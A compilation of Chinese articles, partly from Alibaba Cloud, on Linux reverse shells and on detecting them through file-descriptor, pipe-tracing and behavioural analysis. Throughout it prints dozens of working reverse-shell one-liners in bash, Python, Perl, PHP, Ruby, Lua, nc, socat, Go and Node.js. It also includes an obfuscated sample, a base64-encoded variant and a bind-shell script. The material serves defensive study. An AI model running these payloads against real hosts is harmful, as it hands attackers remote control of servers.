反弹shell的实现方式和检测方法——常规攻击可以直接检测,pipe方式需要结合关联分析(图关联最好),如果含有混淆脚本,需要无文件攻击检测

看了几篇要点文章,阿里云做得最强。

云安全中心反弹Shell多维检测技术详解

更新时间:2022-05-19 14:02

反弹Shell是黑客控制受害服务器的一种攻击手段,常用于受害服务器位于内网、受限于防火墙策略等无法使用正向连接的入侵场景。本文介绍反弹Shell攻击的现状、常规解决方法、分类与检测思想以及云安全中心针对反弹Shell提供的多维检测技术。

背景信息

反弹Shell是黑客(即Shell攻击者)用于控制受害服务器的一种手段。Shell攻击者指定服务端,并将需要受害服务器执行的命令(标准输入、标准输出、标准错误等)重定向到该服务端。受害服务器主动连接攻击者的服务端程序,攻击者的服务端通过监听来自受害服务器的请求,对目标服务器下发指令并获取执行结果,以达到攻击者可以控制受害服务器的目的。

反弹Shell攻击现状

阿里云云安全中心通过分析历史中云上环境的Linux服务器入侵事件,总结出了攻击链路中实现反弹Shell的语言及工具使用率,详情如下图所示。反弹shell实现的语言及工具使用率

其中交互式Bash+/dev/tcp是使用最多的反弹Shell,/dev/tcp作为Bash的默认特性使得该反弹方式兼容绝大多数环境,因此使用率高。紧随其后的是兼容性较好且灵活易用的Python。随着Go语言的兴起,云上入侵事件开始出现Go反弹Shell。从上图可以看出弹Shell实现的方式灵活多样,每种语言都可以进一步延伸和扩展。因此,为了保障最优的检出效果,反弹Shell的检测方案需要综合考虑多种场景因素。

常规检测方法

常见的检测方案是通过正则匹配的方式,提取反弹Shell命令的特征去匹配命令日志、流量日志。该方案具有以下不足:
  • 命令日志采集不完整:例如通过Netlink等方式采集的日志,在碰到管道符、重定向时会无法采集完整的原始执行命令。而通过Patch Bash的方式记录命令日志,在遇到服务器使用Zsh、Ksh等其他Shell环境,或攻击者上传自己编译的Bash时会失效。
  • 正则匹配无法覆盖无穷无尽的文本对抗:攻击者可以不断挖掘出新的变形方式来绕过正则匹配。在实际业务场景中,过多复杂的正则匹配会带来更大性能压力,而通配性更广的正则匹配会带来更多误报。
  • 特征匹配失效:在网络流量被加密后,特征匹配会失效。

分类检测思想

因为表层对抗是无穷无尽的,检测需要由表及里,尽可能挖掘出更本质的解决方法。从检测的角度来看,反弹Shell的本质可以理解为:网络通信+命令执行+重定向方式。

命令执行和网络通信借助重定向,可以构建出一条流动的数据通道。攻击者可以利用这条通道下发指令控制受害服务器。不同的实现方式组合在一起,就形成了多种多样的反弹Shell。例如:
  • 网络通信可以使用TCP、UDP、ICMP等协议,TCP协议再细分又可以包含HTTP、HTTPS协议等,UDP包含DNS等。
  • 命令执行可以通过调用Shell解释器、Glibc库、Syscall等方式实现。
  • 重定向可以通过管道、成对的伪终端、内存文件等实现。
从检测的角度,可以将反弹Shell分为以下三种类型:
  • 第一类反弹Shell:直接重定向Shell的输入输出到Socket
    该类型反弹Shell最典型的例子是:
     
    bash -i >& /dev/tcp/10.10.XX.XX/666 0>&1
    以下介绍直接重定向Shell解释器的输入输出到Socket类型的常见案例。
    • 案例一:
       
      bash -i >& /dev/tcp/10.10.XX.XX/6060 0>&1
    • 案例二:
       
      python -c 'import 
      socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
      s.connect(("10.10.XX.XX",6060));
      os.dup2(s.fileno(),0); 
      os.dup2(s.fileno(),1); 
      os.dup2(s.fileno(),2);
      p=subprocess.call(["/bin/sh","-i"]);'
    • 案例三:
       
      php -r '$sock=fsockopen("10.10.XX.XX",6060);exec("/bin/sh -i <&3 >&3 2>&3");'
    • 案例四:
       
      perl -e 'use 
      Socket;$i="10.10.XX.XX";$p=6060;  
      socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));
      if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");
      open(STDERR,">&S");
      exec("/bin/sh -i");};'
    • 案例五:
       
      lua -e 
      "require('socket');require('os');t=socket.tcp();t:connect('10.10.XX.XX','6060');os.execute('/bin/sh -i <&3 >&3 2>&3');"
    该类型反弹Shell通过重定向bash -i的标准输入、标准输出、标准错误到/dev/tcp Socket进行网络通信。下图可以帮助您理解重定向过程。第一类反弹Shell重定向过程
    这类反弹Shell的检测可以通过检测Shell的标准输入、标注输出是否被重定向到Socket或检测一些简单的主机网络日志特征来实现。第一类反弹Shell的检测
    云安全中心已支持检测此类型的反弹Shell,下图是检测出该类型反弹Shell后产生的告警。第一类反弹shell告警
  • 第二类反弹Shell:通过管道、伪终端等中转,再重定向Shell的输入输出到中转
    此类反弹Shell借助管道、伪终端等进行中转,例如下面这个典型案例将sh -i的标准输入、标准输出、标准错误重定向到命名管道/tmp/f,同时加密通信数据也流向该命名管道。
     
    mkfifo /tmp/f; /bin/sh -i < /tmp/f 2>&1 | openssl s_client -quiet -connect 0.0.XX.XX:666 > /tmp/f
    通过管道、伪终端等作为中转体,并与Socket打通,重定向Shell解释器的输入输出到中转体,有以下常见案例:
    • 案例一:
       
      nc 10.10.XX.XX 6060|/bin/sh|nc 10.10.XX.XX 5050 nc -e /bin/bash 10.10.XX.XX 6060 nc -c bash 10.10.XX.XX 6060 socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.XX.XX:6060
    • 案例二:
       
      mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.XX.XX 6060>/tmp/f
    • 案例三:
       
      mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 10.10.XX.XX:6060 > /tmp/s; rm /tmp/s
    • 案例四:
       
      mknod backpipe p; nc 10.10.XX.XX 6060 0<backpipe | /bin/bash 1>backpipe 2>backpipe
    • 案例五:
       
      bash -c 'exec 5<>/dev/tcp/10.10.XX.XX/6060;cat <&5|while read line;do $line >&5 2>&1;done'
    • 案例六:
       
      telnet 10.10.10.10 6060 | /bin/bash | telnet 10.10.XX.XX 5050
    在某些变形的场景下,可能经过层层中转,但无论经过几层最终都会形成一条流动的数据通道。通过跟踪FD(文件描述符File Descriptor)和进程的关系可以检测该数据通道。第二类反弹Shell数据通道
    云安全中心已支持检测通过管道中转的反弹Shell,下图是检测出该类型反弹Shell后产生的告警。第二类反弹Shell云安全中心告警
    此类反弹Shell使用频率较高,其中利用伪终端中转的方式值得单独讨论,比如以下案例。
     
    python -c 'import 
    socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.XX.XX",10006));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
    通过伪终端中转与通过管道等中转原理一样,但通过伪终端中转的检测难度大大提升,单从Shell的标准输入输出来看,和正常打开的终端没有什么区别。此外,一些场景如容器、各类产品Agent等也会有相似的日志记录,平衡漏报与误报的难度上大大提升。因此我们在文件描述符合检测方案的基础上,结合进程、网络等多种日志信息综合分析。以下是云安全中心检测出的利用伪终端中转方式的告警。云安全中心检测出的利用伪终端方式中转的反弹Shell告警
  • 第三类反弹Shell:编程语言实现标准输入中转,重定向命令执行的输入到中转
    第三种类型反弹Shell通过编程语言实现标准输入的中转,然后重定向命令执行的输入到中转,标准输出和标准错误中转形式不限制。以下是该类型反弹Shell的典型示例:
     
    python - c "exec(\"import socket, subprocess;s = socket.socket();s.connect(('0.0.0.0',666))\nwhile 1:  proc = subprocess.Popen(s.recv(1024), stdout=subprocess.PIPE, stderr=subprocess.PIPE,Shell=True);s.send(proc.stdout.read()+proc.stderr.read())\")"
    Shell攻击者使用编程语言实现标准输入中转,重定向命令执行的输入到中转,有如下常见案例:
    • 案例一:
       
      python -c "exec(\"import socket, subprocess;s = socket.socket();s.connect(('10.10.XX.XX',6060))\nwhile 1:  proc = subprocess.Popen(s.recv(1024), Shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE);s.send(proc.stdout.read()+proc.stderr.read())\")"
    • 案例二:
       
      lua5.1 -e 'local host, port = "10.10.XX.XX", 6060 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, "r") local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'
    • 案例三:
       
      ruby -rsocket -e 'exit if fork;c=TCPSocket.new("10.10.XX.XX","6060");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

    在这种场景下,反弹Shell的命令执行和正常业务行为变得更加难以区分,对抗程度上升,除了从进程命令行尽可能的覆盖这类反弹Shell的特征以外,云安全中心通过异常命令行为序列、异常Shell启动模型检测该类反弹Shell。

    异常命令行为序列模型基于阿里云大数据实时计算平台,通过分析命令序列与攻击者获取Shell后行为相似度来判定是否为反弹Shell。而异常Shell启动模型结合多维度特征以及机器历史行为综合判定产出告警。以下是云安全中心已检测出的告警。第三类反弹Shell云安全中心告警

云安全中心多维检测方案

攻击与防御技术总是在不断的对抗中升级,攻击技术任何单点的突破都可能形成稳定绕过防御技术的局面。理论上任何一种反弹Shell检测都不是完美的,特别是第三类反弹Shell。云安全中心支持纵深检测,采用多维度交叉检测反弹Shell方案,通过进程特征覆盖、文件描述符分析、命令行为序列、异常Shell启动、二进制沙箱、脚本沙箱、流量特征覆盖、对抗行为检测共八项技术在不同入侵阶段埋点,从而最大程度保障检出效果。

除了分类检测思想中介绍的更贴近反弹Shell本质的FD检测技术、从行为目的出发的异常命令行为序列检测技术、异常Shell启动检测和常规的命令、网络特征覆盖方案以外,云安全中心同时使用以下检测技术:

  • 脚本沙箱

    对于脚本类型的反弹Shell,云安全中心提供针对性的解决方案。

    云安全中心会对落盘脚本文件进行文件落盘检测,检测的语言包括但不限于Bash、Python、Perl、Vbs、PowerShell、Bat、JAR等。
     
    "${@~~}"  "${@^^}"   $BASH  ${*%%$9tcW\)zX}   <<< "$(  "${@~~}"  $'\162'''e${*}v <<< '
    }^^*{$   ")     }^^*{$  ;   }4S:\{\/CZ.!\?//@{$   }^^@{$   "}~~H7ONC{$"   s%  f\"t"n""ir*$p}@!{$
    },*{$ }L>JO%*{$ &&  }ca\L&[\%%@{$ '"'"'1&>0 3332/1.1.1.1/PCT/VED/ &> I- HSAB'"'"'=H7ONC    
    ($"   l}#VDG~g/g:fii\//*{$a"}~@{$"v'"'"'e'"'"'   }~*{$  '  ${@~}   ${@^}  ;   ${*%%S9;fj$^Y}    )"   ${*,,} ${@%r-,,}
    落盘脚本检测告警

    云安全中心会对混淆类样本,通过每种语言的Trace模式,动态解混淆后进行检测。

    近些年随着Java应用越来越多,在云上也出现一些利用JAR包进行反弹Shell的案例。云安全中心会对JAR等打包类文件进行静态反编译并结合动态的运行进行多维度判定。云安全中心检测JAR包反弹Shell
    随着攻防对抗程度提升,无文件攻击越来越流行,云安全中心针对无文件类反弹Shell提供了相应检测方案。云安全中心检测无文件类反弹Shell
  • 二进制沙箱
    云安全中心对于常见的C/C++、Go、MeterPreter Shellcode等二进制反弹Shell开发方式进行了特殊的识别和处理,综合导入函数特征、代码特征、二进制在沙箱中的动态行为特征等多个维度进行检测。二进制沙箱检测
  • 流量特征分析
    云安全中心覆盖常见Shell通信特征,辅助提升反弹Shell检测效果。覆盖反弹Shell流量特征检测
  • 对抗行为检测
    云安全中心覆盖常见绕过方式,如替换系统Shell、命令编码等,作为辅助手段提升检测效果。覆盖常见绕过方式检测

上一篇:Linux系统木马查杀

 

 

 

规则检测常规反弹shell

我所理解的反弹shell,是外部人员通过web或者软件的漏洞,建立了一个数据流通向网络外部的shell执行环境。

现在针对一些网络上反弹shell实例作说明:

 

  1. 反弹shell

现在针对一些网络上反弹shell实例作说明:

实例1,Bash反弹:

Bash反弹,远程主机监听端口:

nc -lvp 7777

被入侵的机器反弹shell命令如下:

bash -i >& /dev/tcp/192.168.7.61/7777 0>&1

 

目标机执行后的结果如下:

创建了一个常住进程“bash -i”, 它的得0和1文件描述符都指向socket。

匹配规则:bash进程的0,和1文件描述符指向socket

 

 

实例2,telnet反弹:

 

远程主机监听端口:

nc -lvvp 4444

nc -lvvp 5555

 

被入侵的机器反弹shell命令如下:

telnet 192.168.7.61 4444 | /bin/bash | telnet 192.168.7.61 5555

 

目标机执行后的结果如下:

创建了bash进程,0和1描述符都指向了pipe,这两个pipe关联到两个telnet进程上。两个telent创建了socket外联。

匹配规则:bash进程的0,和1文件描述符指向pipe

 

 

实例3,nc(netcat)反弹:

 

远程主机监听端口:

nc -lvvp 4444

 

被入侵的机器反弹shell命令如下:

rm /tmp/f ; mkfifo /tmp/f;cat /tmp/f | /bin/bash -i 2>&1 | nc 192.168.61 4444 >/tmp/f

 

 

目标机执行后的结果如下:

创建了bash进程,0和1描述符都指向了pipe,这两个pipe关联到文件和nc上。

匹配规则:bash进程的0,和1文件描述符指向pipe

 

实例4,perl反弹:

 

远程主机监听端口:

nc -lvvp 4444

 

被入侵的机器反弹shell命令如下:

perl -e 'use Socket;$i="192.168.7.61";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

 

目标机执行后的结果如下:

 

创建了dash进程,0和1描述符都指向了socket。

匹配规则:dash或者sh进程的0,和1文件描述符指向socket

 

实例5,Python反弹:

 

远程主机监听端口:

nc -lvvp 4444

 

被入侵的机器反弹shell命令如下:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.7.61",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

 

 

目标机执行后的结果如下:

 

创建了bash进程,0和1描述符都指向了socket。

匹配规则:bash的0,和1文件描述符指向socket

 

 

实例6,php反弹:

 

远程主机监听端口:

nc -lvvp 4444

 

被入侵的机器反弹shell命令如下:

php -r '$sock=fsockopen("192.168.7.61",4444);exec("/bin/bash -i <&3 >&3 2>&3");'

 

目标机执行后的结果如下:

创建了bash和dash进程,0和1描述符都指向了socket。

匹配规则:bash或dash进程的0,和1文件描述符指向socket

 

实例7,受害机主动监听:

 

被入侵监听端口:

#!/usr/bin/python2

"""

Python Bind TCP PTY Shell - testing version

infodox - insecurety.net (2013)

Binds a PTY to a TCP port on the host it is ran on.

"""

import os

import pty

import socket

 

lport = 31337 # XXX: CHANGEME

 

def main():

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    s.bind(('0.0.0.0', lport))

    s.listen(1)

    (rem, addr) = s.accept()

    os.dup2(rem.fileno(),0)

    os.dup2(rem.fileno(),1)

    os.dup2(rem.fileno(),2)

    os.putenv("HISTFILE",'/dev/null')

    pty.spawn("/bin/bash")

    s.close()

      

if __name__ == "__main__":

    main()

黑客主机机器主动连接如下:

telnet 192.168.7.6 31337

 

 

目标机执行后的结果如下:

 

接受连接后:

进程python的0和1变成socket:

Bash进程3和4是socket。

匹配规则:python进程的0,和1文件描述符指向socket

 

总结

归纳起来,就是具备执行环境的文件如果0和1文件描述符都关联到socket或者pipe,就认为它是反弹shell。

常用的执行环境如下:

Bash, dash, sh, python, php, perl等。

 

 

关于反弹shell检测的简单思考

反弹shell的本质是把bash/zsh等进程的 0 1 2 输入输出重定向到远程socket,由socket中获取输入,重定向 标准输出(1)和错误输出(2)到socket。定位到这个本质后,检测的思路也就有了。本文简单说一下几种检测方法。同样,由于进程通信的复杂性,bash进程的输入输出可能是一个pipe,本文也简单讨论一下这种情况的检测思路。

demo1 /bin/bash 经典反弹shell

一个经典的反弹shell的demo如下:

# client:
/bin/bash  > /dev/tcp/192.168.43.146/11111 0>&1 2>&1 &
# server:
ncat -lvvp 11111

反弹成功后,/bin/bash的file descriptor(0 1 2)会被重定向。server上可以控制client的/bin/bash进程的0 1 2。

理想情况下,如果反弹shell的本质可以归纳为file descriptor的重定向,那么检测所有进程的file descriptor是否被重定向即可。正常情况下 0 1 2 都不会被重定位给一个server。

检测方法

在反弹shell后,ps -ef查看不到/bin/bash文件描述符的重定位(见下图高亮部分):

 

1. lsof

使用lsof检测,如果出现了0 1 2 文件描述符的重定位,则存在反弹shell的风险。

lsof -n | grep ESTABLISHED |grep -E '0u|1u|2u'
# -n: 显示ip而不是域名

 

 

2. /proc//fd

查看/proc//fd 查看进程打开的fd来查看是否建立了socket链接:

ls -al /proc/2633/fd

 

 

3. netstat -anop

查看是否有bash/sh等进程建立了socket连接。

netstat -anop  |grep ESTABLISHED

 

 

demo2 借助pipe 反弹shell

绝大多数的反弹shell都是借住重定向socket来和 bash进程进行输入输出交互。如果存在管道符号,那么bash进程交互的则是一个pipe。例子如下:

# client
nc 192.168.43.146 7777 | /bin/bash | nc 192.168.43.146 8888
# server
ncat -lvvp 7777
# server 
ncat -lvvp 8888

效果如下:


此时,bash进程的输入输出都来自其他进程的pipe,/proc//fds的情况如下。可以看到0 1 都从pipe获取,非socket。如果检测反弹shell时,只检测socket则会存在漏报。

 

检测思路

如何检测这种情况呢?

不管做了多少层的pipe,反弹shell的本质是将server的输入传递给client的bash,因此肯定存在socket连接。我们只需要递归查看pipe的输入,是否是来自一个socket。例如,跟踪pipe,发现pipe的进程建立了socket连接,那么就存在反弹shell的风险。(更严谨一点,需要定位到这歌socket和pipe的数据传递过程)

 

总结

反弹shell的本质可以定义为:一个client上的bash进程 可以和 server上的进程通信。

而反弹shell的检测,本质上就是检测 shell进程(如bash)的输入输出是否来自于一个远程的server。

由于进程通信的复杂性(例如pipe),会导致单纯的检测shell进程的0 1 2 是否来自socket会存在漏报。但是按照这个思路,检测shell进程的0 1 2 的来源,顺着来源继续跟踪,如果最终是来自一个socket。那么则存在反弹shell的风险。

timeline:
20190705夜
20190917夜: 更新pipe 反弹shelldemo和检测思路



检测方法

  1. 特征:shell(sh bash zsh)进程存在异常的stdin/stdout、异常参数、异常网络连接。
  2. 行为:检测大概率是在ssh登陆下才会使用的二进制文件(如ls/cat/ip/ipconfig/cd/chmod),1.如果发现这些进程的stdin/stdout和tty不一致则告警;2.如果发现这些进程的dip/dport/sip/sport和SSH_CONNECTION不一致则告警

反弹手段和检测方法

反弹方法检测方法
bash -i >& /dev/tcp/ $ip/ $port 0>&1 bash进程存在异常的stdin/stdout,或者异常的argv,或者bash的进程树存在异常的网络连接bash进程的0,和1文件描述符指向socket
telnet $ip $port | /bin/bash | telnet $ip $port 同上bash进程的0,和1文件描述符指向pipe
rm /tmp/f ; mkfifo /tmp/f;cat /tmp/f | /bin/bash -i 2>&1 | nc $ip $port >/tmp/f 同上
perl -e ' .. ;exec("/bin/sh -i");};' 同上dash或者sh进程的0,和1文件描述符指向socket
python -c 'import socket, ... ;p=subprocess.call(["/bin/bash","-i"]);' 同上bash的0,和1文件描述符指向socket
php -r '$sock=fsockopen("ip",port);exec("/bin/bash -i <&3 >&3 2>&3");' 同上bash或dash进程的0,和1文件描述符指向socket
受害主机通过程序(如python)主动监听 同上进程的0,和1文件描述符指向socket
telnet c2_ip c2_port 0<SOME_DEVNAME | /bin/bash 1>SOME_DEVNAME 通过execve()检测大概率是在ssh登陆下才会使用的二进制文件(如ls/cat/ip/ipconfig/cd/chmod),1.如果发现这些进程的stdin/stdout和tty不一致则告警;2.如果发现这些进程的dip/dport/sip/sport和SSH_CONNECTION不一致则告警execve()调用
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:c2_ip:c2_port 同上
msf反弹、apache后门模块、nginx后门模块 同上
 

linux检测反弹shell

1、bash -i >& /dev/tcp/192.168.110.78/6767 0>&1

可以看到bash -i的输入输出和错误输出全部定位到了一个socket

我们lsof看一下bash进程

我们可以看到bash远程指向一个ip,那我们完全可以判定这是一个反弹shell。

 

2、nc -e /usr/bin/bash 192.168.110.78 6767

这里我们看到bash的输入输出都定位到了管道上,而这个管道指向父进程nc,而且这两个进程都连接了一个socket

这两个socket都是指向其他机器,所以我们也可以断定为一个反弹shell

 

3、mknod backpipe p && telnet 192.168.110.78 666 0<backpipe | /usr/bin/bash 1>backpipe

我们可以看到,bash的输入是管道,输出是个文件,而talent的输入是个文件,输出是管道,形成了一个闭环,并且有socket行为,所以我们可以断定它为反弹shell。

mknod backpipe p; nc 192.168.110.78 6767 0<backpipe | /usr/bin/bash 1>backpipe 2>backpipe 是类似的

 

4、rm /tmp/f;mkfifo /tmp/f; cat /tmp/f|/bin/sh -I 2>&1|nc 192.168.110.78 6767 >/tmp/f

这里我们发现bash下有三个子进程,但是仔细看,这三也是成环的,而且nc中有socket连接,所以也判定为反弹shell

 

5、/usr/bin/tcsh -i >& /dev/tcp/192.168.110.78/6767 0>&1

这里很多socket连接,bash下就很不正常,罪名成立

 

6、bash -c 'sh -I &>/dev/tcp/192.168.110.78/6767 0>&1'

bash子进程看起来啥也没干,但子进程的子进程在搞事情,杀之!

 

7、python -c 'import pty;pty.spawn("bash")' >/dev/tcp/192.168.110.78/6767 <&1 2>&1

我们可以看到bash虽然没有什么可疑操作,但是他的父进程python存在外连,那也不能惯着,杀!

 

8、socat TCP4:192.168.110.78:6767 EXEC:bash,pty,stderr,setsid,sigint,sane

我们发现bash和socat都有很多奇怪的外联,杀掉

 

特殊、msf上线

因为查杀msf会大大提高误报率,所以msf这里不要查

 

 

 

 

反弹shell的常用手法


简介

如果我们需要到服务器上执行 Shell 命令,但是因为防火墙等原因,无法由客户端主动发起连接的情况,就可以使用反弹 Shell 来满足登陆和操作的需求。

原理

操作受害者机器,将某开放端口的数据发送到可执行命令的程序上,将结果返回给攻击机。攻击机发送向受害者开放端口发送命令,接收命令执行结果。

反弹shell

bash

bash -i >& /dev/tcp/ip/port 0>&1

0:标准输入;1:标准输出;2:标准错误。

bash -i:产生一个交互式环境

>&:将标准输出和标准错误结合,一起重定向给后者

/dev/tcp/ip/port:建立一个tcp连接

0>&1:将标准输入重定向到标准输出

nc

Linux命令-nc(端口监控、文件传输、反弹shell等)_lady_killer9的博客-CSDN博客

python

python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ip',port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

python -c command

将字符串当做python代码执行

同理,上面也是利用bash进行的反弹

php

php -r 'exec("/bin/bash -i >& /dev/tcp/192.168.0.4/7777")'

perl

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

ruby

ruby -rsocket -e'f=TCPSocket.open("接收端ip",端口).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

lua

lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"

 telnet

	mknod a p; telnet 接收端IP 端口 0<a | /bin/bash 1>a

Windows平台,可以使用powercat   reverseudpshell   icmpsh

检测

及时发现Bash进程启动事件

检查Bash进程是否打开了终端设备,是否有主动对外连接

防御

防火墙限制

Netlink监听,kill进程(详见腾讯云参考)

参考

​​​​​​基于主机的反弹shell检测思路 - 哔哩哔哩

常用的反弹shell总结_西部壮仔的博客-CSDN博客_反弹shell能干嘛

自动化反弹Shell防御技术 - 云+社区 - 腾讯云

 

HIDS-Agent开发之检测反弹shell

阅读量    257093 |

 
分享到: QQ空间 新浪微博 微信 QQ facebook twitter

 

发布时间:2021-04-06 10:00:56

 

介绍

bash -i >& /dev/tcp/127.0.0.1/1234 0>&1  #TCP

Listener:
nc -nvlp 1234

目标机执行后的结果如下:

创建了一个常住进程“bash -i”, 它的得0和1文件描述符都指向socket。

匹配规则:bash进程的0,和1文件描述符指向socket


sh -i >& /dev/udp/127.0.0.1/1234 0>&1 #UDP

Listener:
nc -u -lvp 1234

目标机执行后的结果如下:

创建了一个常住进程“sh -i”, 它的得0和1文件描述符都指向socket。

匹配规则:bash进程的0,和1文件描述符指向socket

0<&196;exec 196<>/dev/tcp/127.0.0.1/1234; sh <&196 >&196 2>&196

目标机执行后的结果如下:

创建了sh进程,0和1描述符都指向了socket。

匹配规则:sh的0,和1文件描述符指向socket

exec 5<>/dev/tcp/127.0.0.1/1234; while read line 0<&5; do $line 2>&5 >&5; done

目标机执行后的结果如下:

匹配规则:某一个bash进程的0 文件描述符指向socket

nohup bash -c 'bash -i >& /dev/tcp/127.0.0.1/1234 0>&1'

base64搞一下命令

echo "nohup bash -c 'bash -i >& /dev/tcp/127.0.0.1/1234 0>&1'" | base64 -w0
echo bm9odXAgYmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvMTIzNCAwPiYxJwo= | base64 -d | bash 2>/dev/null

目标机执行后的结果如下:

创建了bash进程,0和1描述符都指向了socket。

匹配规则:bash的0,和1文件描述符指向socket

telnet 127.0.0.1 1234 | /bin/sh #Blind

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|telnet 127.0.0.1 1234 >/tmp/f

rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0</tmp/bkpipe | telnet 127.0.0.1 1234 1>/tmp/bkpipe

目标机执行后的结果如下:

创建了sh进程,0和1描述符都指向了pipe。
匹配规则:sh进程的0,和1文件描述符指向pipe

telnet 127.0.0.1 1234 | /bin/bash | telnet 127.0.0.1 12345

目标机执行后的结果如下:

创建了bash进程,0和1描述符都指向了pipe。
匹配规则:bash进程的0,和1文件描述符指向pipe

perl -e 'use Socket;$i="127.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"[127.0.0.1]:[1234]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
export RHOST="127.0.0.1";export RPORT=1234;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
php -r '$sock=fsockopen("127.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

目标机执行后的结果如下:

创建了sh进程,0和1描述符都指向了socket。

匹配规则:sh的0,和1文件描述符指向socket

php -r 'exec("/bin/bash -i >& /dev/tcp/127.0.0.1/1234")'

目标机执行后的结果如下:

创建了一个常住进程“bash -i”, 它的得0和1文件描述符都指向socket。

匹配规则:bash进程的0,和1文件描述符指向socket

ruby -rsocket -e'f=TCPSocket.open("127.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

目标机执行后的结果如下:

创建了sh进程,0和1描述符都指向了socket。

匹配规则:sh的0,和1文件描述符指向socket

nc -e /bin/sh 127.0.0.1 1234

如果nc 不支持 -e

nc  127.0.0.1 1234 | /bin/sh #Blind
nc <ATTACKER-IP> <PORT1>| /bin/bash | nc <ATTACKER-IP> <PORT2>
rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0</tmp/bkpipe | nc  127.0.0.1 1234 1>/tmp/bkpipe

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc  127.0.0.1 1234 >/tmp/f

目标机执行后的结果如下:

创建了sh进程,0和1描述符都指向了pipe,这两个pipe关联到文件和nc上。

匹配规则:sh进程的0,和1文件描述符指向pipe

lua -e "require('socket');require('os');t=socket.tcp();t:connect('127.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"

目标机执行后的结果如下:

创建了sh进程,0和1描述符都指向了socket。

匹配规则:sh的0,和1文件描述符指向socket

Java

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/ATTACKING-IP/80;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

目标机执行后的结果如下:

匹配规则:某一个bash进程的0 文件描述符指向socket

Golang

echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","127.0.0.1:1234");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go

目标机执行后的结果如下:

创建了sh进程,0和1描述符都指向了pipe。
匹配规则:sh进程的0,和1文件描述符指向pipe

Nodejs



(function(){
    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(1234, "127.0.0.1", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/; // Prevents the Node.js application form crashing
})();

目标机执行后的结果如下:
创建了sh进程,0和1描述符都指向了socket。

匹配规则:sh的0,和1文件描述符指向socket

require('child_process').exec('nc -e /bin/sh 127.0.0.1 1234')

or

-var x = global.process.mainModule.require
-x('child_process').exec('nc 127.0.0.1 1234 -e /bin/bash')

目标机执行后的结果如下:

创建了sh进程,0和1描述符都指向了pipe,这两个pipe关联到nc进程上。nc创建了socket外联。

匹配规则:sh进程的0,和1文件描述符指向pipe

用openssl 反弹shell

攻击者

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Generate certificate
